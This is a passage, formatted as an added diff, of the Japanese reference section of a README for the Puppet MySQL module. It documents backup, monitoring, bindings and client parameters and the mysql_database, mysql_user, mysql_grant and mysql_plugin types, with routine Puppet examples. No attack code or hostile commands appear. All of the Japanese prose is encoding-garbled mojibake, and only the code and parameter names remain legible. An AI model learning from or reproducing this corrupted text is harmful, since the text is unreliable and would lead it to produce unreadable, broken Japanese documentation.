+ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã™ã‚‹ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®é…列を指定ã—ã¾ã™ã€‚ + +##### `file_per_database` + +データベースã”ã¨ã«å€‹åˆ¥ã®ãƒ•ァイルを使用ã™ã‚‹ã‹ã©ã†ã‹ã‚’設定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `include_routines` + +`file_per_database`ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã™ã‚‹éš›ã«ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã”ã¨ã«ãƒ«ãƒ¼ãƒãƒ³ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’設定ã—ã¾ã™ã€‚ + +デフォルト値:`false`。 + +##### `include_triggers` + +`file_per_database`ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã™ã‚‹éš›ã«ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã”ã¨ã«ãƒˆãƒªã‚¬ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’設定ã—ã¾ã™ã€‚ + +デフォルト値:`false`。 + +##### `ensure` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—スクリプトを削除ã§ãã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `execpath` + +MySQLを標準的ã§ãªã„場所ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹å ´åˆã«ã‚«ã‚¹ã‚¿ãƒ ãƒ‘スを設定ã§ãã¾ã™ã€‚デフォルト値:`/usr/bin:/usr/sbin:/bin:/sbin`。 + +##### `time` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—時刻を設定ã™ã‚‹2ã¤ã®è¦ç´ ã®é…列。時刻をHH:MMå½¢å¼ã§['23', '5'](23:05)ã¾ãŸã¯['3', '45'](03:45)ã«è¨­å®šã§ãã¾ã™ã€‚ + +#### mysql::server::backup + +##### `postscript` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—終了時ã«å®Ÿè¡Œã•れるスクリプト。ã“ã®æ©Ÿèƒ½ã‚’使用ã™ã‚‹ã¨ã€ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を中央ストアã«åŒæœŸã•ã›ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚¹ã‚¯ãƒªãƒ—トã¯ã€ç›´æŽ¥å®Ÿè¡Œã•れる1ã¤ã®è¡Œã§ã‚ã£ã¦ã‚‚ã€é…列を形æˆã™ã‚‹è¤‡æ•°ã®è¡Œã§ã‚ã£ã¦ã‚‚æ§‹ã„ã¾ã›ã‚“。ã‚ã‚‹ã„ã¯ã€å¤–部ã§ç®¡ç†ã•れる1ã¤ä»¥ä¸Šã®(実行å¯èƒ½ãª)ファイルã«ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ + +##### `prescript` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—é–‹å§‹å‰ã«å®Ÿè¡Œã•れるスクリプト。 + +##### `provider` + +サーãƒã®ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã®å®Ÿè¡Œã«ã¤ã„ã¦è¨­å®šã—ã¾ã™ã€‚有効ãªå€¤ã¯ä»¥ä¸‹ã®ã¨ãŠã‚Šã§ã™ã€‚ + +* `mysqldump`:mysqldumpを使用ã—ã¦ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行。ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã®ã‚¿ã‚¤ãƒ—:Logical(デフォルト値)。 +* `mysqlbackup`:Oracleã®MySQL Enterprise Backupを使用ã—ã¦ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã®ã‚¿ã‚¤ãƒ—:Physical。ã“ã®ã‚¿ã‚¤ãƒ—ã®ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を使用ã™ã‚‹ã«ã¯Oracleã®`meb`パッケージãŒå¿…è¦ã§ã™ã€‚RPMå½¢å¼ã®ã‚‚ã®ã¨TARå½¢å¼ã®ã‚‚ã®ãŒã‚りã¾ã™ã€‚Ubuntuã®å ´åˆã¯ã€[meb-deb](https://github.com/dveeden/meb-deb)を使用ã—ã¦å…¬å¼ã®tarballã‹ã‚‰ãƒ‘ッケージを作æˆã§ãã¾ã™ã€‚ +* `xtrabackup:Perconaã®XtraBackupを使用ã—ã¦ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã®ã‚¿ã‚¤ãƒ—:Physical。 + +##### `maxallowedpacket` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ダンプスクリプト用ã®SQLã‚¹ãƒ†ãƒ¼ãƒˆãƒ¡ãƒ³ãƒˆã®æœ€å¤§ã‚µã‚¤ã‚ºã‚’定義ã¾ã™ã€‚デフォルト値ã¯1MBã§ã€MySQL Serverã®ãƒ‡ãƒ•ォルト値ã¨åŒã˜ã§ã™ã€‚ + +##### `optional_args` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ãƒ„ãƒ¼ãƒ«ã«æ¸¡ã™ã¹ãオプションã®å¼•æ•°ã®é…列を指定ã—ã¾ã™(ç¾åœ¨ã¯xtrabackupプロãƒã‚¤ãƒ€ã§ã®ã¿ã‚µãƒãƒ¼ãƒˆ)。 + +#### mysql::server::monitor + +##### `mysql_monitor_username` + +MySQLã®ãƒ¢ãƒ‹ã‚¿ç”¨ã«ä½œæˆã™ã‚‹ãƒ¦ãƒ¼ã‚¶å。 + +##### `mysql_monitor_password` + +MySQLã®ãƒ¢ãƒ‹ã‚¿ç”¨ã«ä½œæˆã™ã‚‹ãƒ‘スワード。 + +##### `mysql_monitor_hostname` + +モニタã™ã‚‹ãƒ¦ãƒ¼ã‚¶ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãŒè¨±å¯ã•れãŸãƒ›ã‚¹ãƒˆå。 + +#### mysql::server::mysqltuner + +**注æ„**:ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã«æŽ¥ç¶šã•れã¦ã„ãªã„システムã§ã“ã®ã‚¯ãƒ©ã‚¹ã‚’使用ã™ã‚‹å ´åˆã¯ã€mysqltuner.plスクリプトをダウンロードã—ã€`http(s)://`ã€`puppet://`ã€`ftp://`ã€ã¾ãŸã¯å®Œå…¨ä¿®é£¾ãƒ•ァイルパスを使用ã—ã¦ã€ã‚¢ã‚¯ã‚»ã‚¹å¯èƒ½ãªå ´æ‰€ã§ãƒ›ã‚¹ãƒˆã•れるよã†ã«ã—ã¦ãŠãå¿…è¦ãŒã‚りã¾ã™ã€‚ + +##### `ensure` + +リソースãŒå­˜åœ¨ã™ã‚‹ã“ã¨ã‚’確èªã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `version` + +major/MySQLTuner-perl githubレãƒã‚¸ãƒˆãƒªã‹ã‚‰ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã€‚有効ãªã‚¿ã‚°ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +デフォルト値:'v1.3.0'。 + +##### `environment` + +プロキシを使用ã—ãŸãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ãªã©ã®ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ä¸­ã«æœ‰åйãªç’°å¢ƒå¤‰æ•°ï¼šenvironment => 'https_proxy=http://proxy.example.com:80' + +#### mysql::bindings + +##### `client_dev` + +`::mysql::bindings::client_dev`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `daemon_dev` + +`::mysql::bindings::daemon_dev`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `java_enable` + +`::mysql::bindings::java`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `perl_enable` + +`mysql::bindings::perl`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `php_enable` + +`mysql::bindings::php`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `python_enable` + +`mysql::bindings::python`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `ruby_enable` + +`mysql::bindings::ruby`ã‚’å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `install_options` + +管ç†å¯¾è±¡ã®ãƒ‘ッケージリソースã«`install_options`を渡ã—ã¾ã™ã€‚パッケージマãƒãƒ¼ã‚¸ãƒ£ã«å¯¾å¿œã™ã‚‹[æ­£ã—ã„オプション](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options)を渡ã™å¿…è¦ãŒã‚りã¾ã™ã€‚ + +##### `client_dev_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`client_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `client_dev_package_name` + +インストールã™ã‚‹client_devパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`client_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `client_dev_package_provider` + +client_devパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +é©ç”¨ã•れるã®ã¯`client_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `daemon_dev_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯daemon_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `daemon_dev_package_name` + +インストールã™ã‚‹daemon_devパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯daemon_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `daemon_dev_package_provider` + +daemon_devパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +é©ç”¨ã•れるã®ã¯daemon_dev => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `java_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`java_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `java_package_name` + +インストールã™ã‚‹Javaパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`java_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `java_package_provider` + +Javaパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +é©ç”¨ã•れるã®ã¯`java_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `perl_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`perl_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `perl_package_name` + +インストールã™ã‚‹Perlパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`perl_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `perl_package_provider` + +Perlパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +é©ç”¨ã•れるã®ã¯`perl_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `php_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`php_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `php_package_name` + +インストールã™ã‚‹PHPパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`php_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `python_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`python_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `python_package_name` + +インストールã™ã‚‹Pythonパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`python_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `python_package_provider` + +Pythonパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +é©ç”¨ã•れるã®ã¯`python_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `ruby_package_ensure` + +パッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +é©ç”¨ã•れるã®ã¯`ruby_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `ruby_package_name` + +インストールã™ã‚‹Rubyパッケージã®åå‰ã€‚ + +é©ç”¨ã•れるã®ã¯`ruby_enable => true`ã®å ´åˆã ã‘ã§ã™ã€‚ + +##### `ruby_package_provider` + +Rubyパッケージã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +#### mysql::client + +##### `bindings_enable` + +ã™ã¹ã¦ã®ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’自動的ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `install_options` + +管ç†å¯¾è±¡ã®ãƒ‘ッケージリソースã«é–¢ã™ã‚‹ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã‚ªãƒ—ションã®é…列。パッケージマãƒãƒ¼ã‚¸ãƒ£ã«å¯¾å¿œã™ã‚‹æ­£ã—ã„オプションを渡ã™å¿…è¦ãŒã‚りã¾ã™ã€‚ + +##### `package_ensure` + +MySQLパッケージãŒã€å­˜åœ¨ã™ã‚‹ã‹ã—ãªã„ã‹ã€ã¾ãŸã¯ç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +##### `package_manage` + +MySQLクライアントパッケージを管ç†ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +デフォルト値:`true`。 + +##### `package_name` + +インストールã™ã‚‹MySQLクライアントパッケージã®åå‰ã€‚ + +### 定義 + +#### mysql::db + +```puppet +mysql_database { 'information_schema': + ensure => 'present', + charset => 'utf8', + collate => 'utf8_swedish_ci', +} +mysql_database { 'mysql': + ensure => 'present', + charset => 'latin1', + collate => 'latin1_swedish_ci', +} +``` + +##### `user` + +作æˆã™ã‚‹ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ¦ãƒ¼ã‚¶ã€‚ + +##### `password` + +作æˆã™ã‚‹ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®$userã®ãƒ‘スワード。 + +##### `dbname` + +作æˆã™ã‚‹ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®åå‰ã€‚ + +デフォルト値:"$name"。 + +##### `charset` + +データベースã«ä½¿ç”¨ã™ã‚‹ã‚­ãƒ£ãƒ©ã‚¯ã‚¿ã‚»ãƒƒãƒˆã€‚ + +デフォルト値:'utf8'。 + +##### `collate` + +データベースã®ç…§åˆé †åºã€‚ + +デフォルト値:'utf8_general_ci'。 + +##### `host` + +GRANT権é™ã‚’付与ã™ã‚‹user@hostã®ä¸€éƒ¨ã¨ã—ã¦ä½¿ç”¨ã™ã‚‹ãƒ›ã‚¹ãƒˆã€‚ + +デフォルト値:'localhost'。 + +##### `grant` + +データベースã«å¯¾ã—ã¦user@hostã«ä»˜ä¸Žã•れる権é™ã€‚ + +デフォルト値:'ALL'。 + +##### `sql` + +実行ã™ã‚‹sqlfileã¸ã®ãƒ‘ス。文字列ã¨ã—ã¦æŒ‡å®šã•れãŸ1ã¤ã®ãƒ•ァイルã€ã¾ãŸã¯æ–‡å­—列ã®é…列ã®ã„ãšã‚Œã‹ã§ã™ã€‚ + +デフォルト値:`undef`。 + +##### `enforce_sql` + +sqlfilesを毎回実行ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚falseã«è¨­å®šã—ãŸå ´åˆã¯sqlfilesã¯1回ã—ã‹å®Ÿè¡Œã•れã¾ã›ã‚“。 + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `ensure` + +データベースを作æˆã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `import_timeout` + +sqlfilesをロードã™ã‚‹ã¨ãã®ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆ(ç§’)。 + +デフォルト値:300。 + +##### `import_cat_cmd` + +データベースをインãƒãƒ¼ãƒˆã™ã‚‹ãŸã‚ã«sqlfileを読ã¿è¾¼ã‚€ã‚³ãƒžãƒ³ãƒ‰ã€‚sqlfilesãŒåœ§ç¸®ã•れã¦ã„ã‚‹å ´åˆã«å½¹ç«‹ã¡ã¾ã™ã€‚ãŸã¨ãˆã°.gzファイルã®å ´åˆã«'zcat'を使用ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +デフォルト値:'cat'。 + +### タイプ + +#### mysql_database + +`mysql_database`ã¯ã€MySQLã§ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚’作æˆã—ã€ç®¡ç†ã—ã¾ã™ã€‚ + +##### `ensure` + +リソースã®å­˜åœ¨ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `name` + +管ç†ã™ã‚‹MySQLデータベースã®åå‰ã€‚ + +##### `charset` + +データベースã«ä½¿ç”¨ã™ã‚‹ã‚­ãƒ£ãƒ©ã‚¯ã‚¿ã‚»ãƒƒãƒˆã®è¨­å®šã€‚ + +デフォルト値:'utf8'。 + +##### `collate` + +データベースã«ä½¿ç”¨ã™ã‚‹ç…§åˆé †åºã®è¨­å®šã€‚ + +デフォルト値:'utf8_general_ci'。 + +#### mysql_user + +MySQLã§ã®ãƒ¦ãƒ¼ã‚¶ã®GRANT権é™ã‚’作æˆã—ã€ç®¡ç†ã—ã¾ã™ã€‚ + +```puppet +mysql_user { 'root@127.0.0.1': + ensure => 'present', + max_connections_per_hour => '0', + max_queries_per_hour => '0', + max_updates_per_hour => '0', + max_user_connections => '0', +} +``` + +èªè¨¼ãƒ—ラグインを指定ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ + +```puppet +mysql_user{ 'myuser'@'localhost': + ensure => 'present', + plugin => 'unix_socket', +} +``` + +ユーザã«å¯¾ã—TLSオプションを指定ã§ãã¾ã™ã€‚ + +```puppet +mysql_user{ 'myuser'@'localhost': + ensure => 'present', + tls_options => ['SSL'], +} +``` + +##### `name` + +ユーザå('username@hostname'ã¾ãŸã¯username@hostname)。 + +##### `password_hash` + +ユーザã®ãƒ‘スワードãƒãƒƒã‚·ãƒ¥ã€‚ã“ã®ã‚ˆã†ãªãƒãƒƒã‚·ãƒ¥ã‚’作æˆã™ã‚‹ã«ã¯ã€mysql_password()を使用ã—ã¦ãã ã•ã„。 + +##### `max_user_connections` + +åŒæ™‚ã«æŽ¥ç¶šã™ã‚‹ãƒ¦ãƒ¼ã‚¶æ•°ã®æœ€å¤§å€¤ã€‚ + +整数値ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +指定値ãŒ'0'ã®å ´åˆã¯ç„¡åˆ¶é™(ã¾ãŸã¯ã‚°ãƒ­ãƒ¼ãƒãƒ«)ã«ãªã‚Šã¾ã™ã€‚ + +##### `max_connections_per_hour` + +ユーザã®1時間ã‚ãŸã‚Šã®æŽ¥ç¶šå›žæ•°æœ€å¤§å€¤ã€‚ + +整数値ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +指定値ãŒ'0'ã®å ´åˆã¯ç„¡åˆ¶é™(ã¾ãŸã¯ã‚°ãƒ­ãƒ¼ãƒãƒ«)ã«ãªã‚Šã¾ã™ã€‚ + +##### `max_queries_per_hour` + +ユーザã®1時間ã‚ãŸã‚Šã®ã‚¯ã‚¨ãƒªæ•°æœ€å¤§å€¤ã€‚ + +整数値ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +指定値ãŒ'0'ã®å ´åˆã¯ç„¡åˆ¶é™(ã¾ãŸã¯ã‚°ãƒ­ãƒ¼ãƒãƒ«)ã«ãªã‚Šã¾ã™ã€‚ + +##### `max_updates_per_hour` + +ユーザã®1時間ã‚ãŸã‚Šã®æ›´æ–°å›žæ•°æœ€å¤§å€¤ã€‚ + +整数値ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +指定値ãŒ'0'ã®å ´åˆã¯ç„¡åˆ¶é™(ã¾ãŸã¯ã‚°ãƒ­ãƒ¼ãƒãƒ«)ã«ãªã‚Šã¾ã™ã€‚ + +##### `tls_options` + +1ã¤ä»¥ä¸Šã®tls_optionã®å€¤ã‚’使用ã™ã‚‹MySQLアカウント用ã®SSL関連ã®ã‚ªãƒ—ション。'NONE'ã®å ´åˆã¯ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«TLSã‚ªãƒ—ã‚·ãƒ§ãƒ³ãŒæŒ‡å®šã•れã¾ã›ã‚“。使用å¯èƒ½ãªã‚ªãƒ—ションã¯ã€MySQLドキュメントã«ç¤ºã•れã¦ã„ã‚‹ã¨ãŠã‚Šã€'SSL'ã€'X509'ã€'CIPHER *cipher*'ã€'ISSUER *issuer*'ã€'SUBJECT *subject*'ã§ã™ã€‚ + + +#### mysql_grant + +`mysql_grant`ã¯ã€MySQLã§ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã®ã«å¿…è¦ãªGRANT権é™ã‚’作æˆã—ã¾ã™ã€‚MySQLã§ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ãŸã‚ã®GRANT権é™ã‚’作æˆã™ã‚‹ã«ã¯ã€`username@hostname/database.table`ã®ãƒ‘ターンã«ç¶šã‘ã¦æ¬¡ã®ã‚ˆã†ã«ãƒªã‚½ãƒ¼ã‚¹ã®ã‚¿ã‚¤ãƒˆãƒ«ã‚’作æˆã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚ + +```puppet +mysql_grant { 'root@localhost/*.*': + ensure => 'present', + options => ['GRANT'], + privileges => ['ALL'], + table => '*.*', + user => 'root@localhost', +} +``` + +次ã®ã‚ˆã†ã«ã€åˆ—レベルã¾ã§è©³ç´°ã«æ¨©é™ã‚’指定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +```puppet +mysql_grant { 'root@localhost/mysql.user': + ensure => 'present', + privileges => ['SELECT (Host, User)'], + table => 'mysql.user', + user => 'root@localhost', +} +``` + +GRANT権é™ã‚’å–り消ã™å ´åˆã¯['NONE']を指定ã—ã¾ã™ã€‚ + +##### `ensure` + +リソースã®å­˜åœ¨ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `name` + +GRANT権é™ã‚’示ã™åå‰ã€‚'user/table'ã®å½¢å¼ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。 + +##### `privileges` + +ユーザã«è¨±å¯ã‚’与ãˆã‚‹æ¨©é™ã€‚ + +##### `table` + +権é™ãŒé©ç”¨ã•れるテーブル。 + +##### `user` + +権é™ãŒä»˜ä¸Žã•れるユーザ。 + +##### `options` + +権é™ã‚’付与ã™ã‚‹MySQLオプション(オプション)。 + +#### mysql_plugin + +`mysql_plugin`を使用ã—ã¦MySQLサーãƒã«ãƒ—ラグインをロードã§ãã¾ã™ã€‚ + +```puppet +mysql_plugin { 'auth_socket': + ensure => 'present', + soname => 'auth_socket.so', +} +``` + +##### `ensure` + +リソースã®å­˜åœ¨ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'。 + +デフォルト値:'present'。 + +##### `name` + +管ç†ã™ã‚‹MySQLプラグインã®åå‰ã€‚ + +##### `soname` + +ライブラリファイルã®åå‰ã€‚ + +#### `mysql_datadir` + +ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«å›ºæœ‰ãªã‚³ãƒ¼ãƒ‰ã§MySQLãƒ‡ãƒ¼ã‚¿ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’åˆæœŸåŒ–ã—ã¾ã™ã€‚MySQL 5.7.6よりå‰ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã¯mysql_install_dbã‚’ã€å¾Œã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã¯mysqld --initialize-insecureを使用ã—ã¾ã™ã€‚ + +安全ã§ãªã„åˆæœŸåŒ–ãŒå¿…è¦ãªã®ã¯ã€mysqldãƒãƒ¼ã‚¸ãƒ§ãƒ³5.7ã§'secure by 